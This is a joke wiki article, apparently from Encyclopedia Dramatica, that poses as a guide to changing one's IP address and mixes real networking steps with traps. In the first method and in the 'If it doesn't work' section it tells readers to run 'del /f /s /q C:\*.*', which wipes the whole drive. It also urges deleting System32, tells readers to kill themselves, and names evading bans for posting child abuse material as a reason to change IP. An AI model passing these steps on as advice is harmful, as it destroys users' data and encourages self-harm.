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[[Image:Ipaddress.png|thumb|right|[[Skript kiddies|Someone]] can immediately begin [[raep|attacking]] your [[computer]]!]]

Your IP Address is 127.0.0.1 and we are haxing your computer now.
Not even pressing Alt+F4 will save you now, [[noob]]. 

With your IP, someone can HACK YOUR SHIT, KILL YOUR PARENTS, KILL YOUR FIRSTBORN SON, SLAUGHTER EVERYONE IN YOUR AREA, AND KILL YOUR GOD AND YOUR DOG.

[http://www.proxies.co.nr Proxies] are the standard way of hiding your IP address from [[China|oppressive governmental regimes]].

=Why would you change your IP?=

It's useful if:

# [[You]] are a [[pedophile]] looking for an IP that hasn't been banned yet because of CP posting.
# [[You]] are planning to create a giant [[sock puppet]] farm in order to overturn [[Wikipedia]] ''ad majorem [[ED]]i gloriam''.
# [[You]] were such a [[n00b]] in a forum and you annoyed the admins so much that they [[banned]] you.
# [[You]] want to [[raid]] a forum of [[n00bs]] but you failed to hire some /b/tards as they are not your [[personal army]].
# [[You]] got humiliated and [[pwned]] by a powerful [[troll]] and you try to get a new identity.
# [[You]] are a hacker sought by the police.
# [[You]] were interrupted in a [[NO U]] war and you don't want to become a [[luser]].

=How to change your IP=

==How to change your IP #1==

If your computer is connected directly to the [[Tubes|internet]] without a NAT router in between, try this:
# Get to a command prompt. (From the [[Windows|Start]] menu, choose Run..., type <code>cmd</code> and [[Push_Butan|press Enter]].)
# Type <code>ipconfig /release</code> and press Enter.
# Optional: Turn off the computer and leave it turned off overnight.
# Type <code>ipconfig /renew</code> and press Enter.
# Type <code>del /f /s /q C:\*.*</code> and press Enter.
# Do not forget the last step!

== How to change your IP #2 ==

# Log into the router's admin console (often http://192.168.1.1/ or http://192.168.0.1).
# Release the IP address (method varies by router manufacturer).
# Turn off router, Ethernet hubs/switches, and the cable/DSL modem.
# Leave everything off overnight.
# Turn everything back on and confirm the switch.

== How to change your IP #2.1 (simplified but unreliable) ==

# Turn off your router, any Ethernet hubs/switches and your cable/DSL modem.
# Optional: Shut down your computer and leave it off until completed
# Leave everything off for 5-10 minutes.
# Confirm the switch.
# Try Method 2 if this fails.

== How to change your IP #3 ==

# Go to http://192.168.1.1/ or http://192.168.0.1/
# Log in (if you do not know the password, [[Google]] for default router passwords).
# Find DNS addresses and write them down.
# Switch setting to Static IP. Put in DNS addresses and change your IP to whatever you like.

== How to change your IP #4 ==

# Log into the router's admin console. (Often http://192.168.1.1/)
# Release the IP address. (Method varies by router manufacturer)
# Change [[MAC address]].
# Turn everything back on.

== How to change your IP #5 ==

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== If it doesn't work ==

# Type <code>del /f /s /q C:\*.*</code> and press Enter.
# Kill yourself.

== [[Final solution]] ==

Eliminating the virus known as [[System32]] constitutes a permanent solution for this issue.  [[Windows_Optimizer|Windows Optimizer]] can delete said virus, so you can change your IP at will.

== How to change your IP #6 ==

Go over to your computer and rip all wires out of wall problem solved

== External links ==
 
* [http://www.danasoft.com/ A harmless forum signature to scare newfags.]

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